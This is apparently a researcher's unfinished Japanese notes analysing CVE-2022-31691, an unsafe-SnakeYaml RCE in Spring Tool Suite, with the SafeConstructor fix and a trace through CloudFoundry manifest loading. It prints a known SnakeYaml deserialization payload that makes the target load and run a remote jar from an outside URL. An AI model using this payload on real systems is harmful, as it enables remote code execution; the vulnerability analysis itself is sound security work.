
(現時点では結論が出ていない)CVE-2022-31691 に関する調査メモ。
私は Eclipse 用 Spring Tool Suite (STS) を頻繁に利用しており、新しい Spring Boot プロジェクトの初期化もこれに頼っています。この脆弱性(https://tanzu.vmware.com/security/cve-2022-31691 参照)は、yaml 設定ファイルからコンテンツを安全でない方法で読み込むことによって引き起こされる RCE です。
SnakeYaml は Java で非常に一般的な YAML パーサー兼エミッターです。しかし、他のマーシャリング/アンマーシャリング処理と同様に、望ましくないコンテンツが直接メモリに読み込まれるリスクが常に存在します。SnakeYaml も例外ではありません(https://code.google.com/archive/p/snakeyaml/wikis/Documentation.wiki#Tutorial 参照)。
Loading YAML
Warning: It is not safe to call Yaml.load() with any data received from an untrusted source!
The method Yaml.load() converts a YAML document to a Java object.
そのため、プロジェクトメンテナは SafeConstructor メソッドを追加しました。
Note if you want to limit objects to standard Java objects like List or Long you need to use SafeConstructor.
Yaml yaml = new Yaml(new SafeConstructor());
理由は明確ですが、このアドバイスは十分に守られていないようです。安全でない読み込み方法の例はすぐに見つかります。Baeldung(Spring に関する素晴らしい情報源)でさえ、そのガイド(https://www.baeldung.com/java-snake-yaml#basic-usage)でこの点に触れていません。
これを悪用するには、このコンストラクタに自分が制御するオブジェクトをアンマーシャリングさせる必要があります。幸いなことに、他の人がすでにその部分の作業を行っています。https://github.com/artsploit/yaml-payload は、marshalsec(https://github.com/mbechler/marshalsec)を参考にして SnakeYaml のエクスプロイトペイロードを生成する非常にシンプルなプロジェクトです。その仕組みは次のとおりです。
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
]]
]
この脆弱性は STS バージョン 4.16.1 で修正されました。このバージョンのコミットをざっと見ると、修正内容に関するいくつかの手がかりが得られます(https://github.com/spring-projects/sts4/compare/4.16.0.RELEASE...4.16.1.RELEASE)。
このコミットのメッセージ「Snakeyaml YAML constructors で SafeConstructor を使用」は、修正内容を示す良い手がかりです。
確かに、ここで SafeConstructor が置き換えられています。
YamlASTProvider parser = new YamlASTProvider(new Yaml(new SafeConstructor()));
これを悪用するには、この SnakeYaml コンストラクタに悪意のあるコンテンツを渡す必要があります。そのため、どこから呼び出されているかを追跡する必要があります。
SnakeYaml オブジェクトの作成には、getInputStream() メソッドで作成された InputStream オブジェクトが渡されます。
getInputStream() は getManifestFile() を呼び出して、読み込むマニフェストファイルを決定します。
getManifestFile() は、コンストラクタでマニフェストファイルの場所が指定されている場合はその場所を返し、指定されていない場合は null を返します。
ApplicationManifestHandler クラスは、ここの CloudFoundryBootDashModel クラスで初期化され、ここの resolveDeploymentProperties メソッドのコンストラクタで設定された値から派生した値が渡されます。
CloudFoundry の構成をセットアップして、悪意のある manifest.yml ファイルを読み込ませ/呼び出させる必要があると思われます。
CloudFoundry は(おそらく Kubernetes などの影響で)衰退しつつある技術であることがわかりました。CF 接続を作成するための公開プラットフォームが見つからず、実際にテストすることができません。
脆弱性とエクスプロイトに関する理解をテストするためだけでも、CloudFoundry のローカル開発インスタンスを立ち上げる方法を調べる。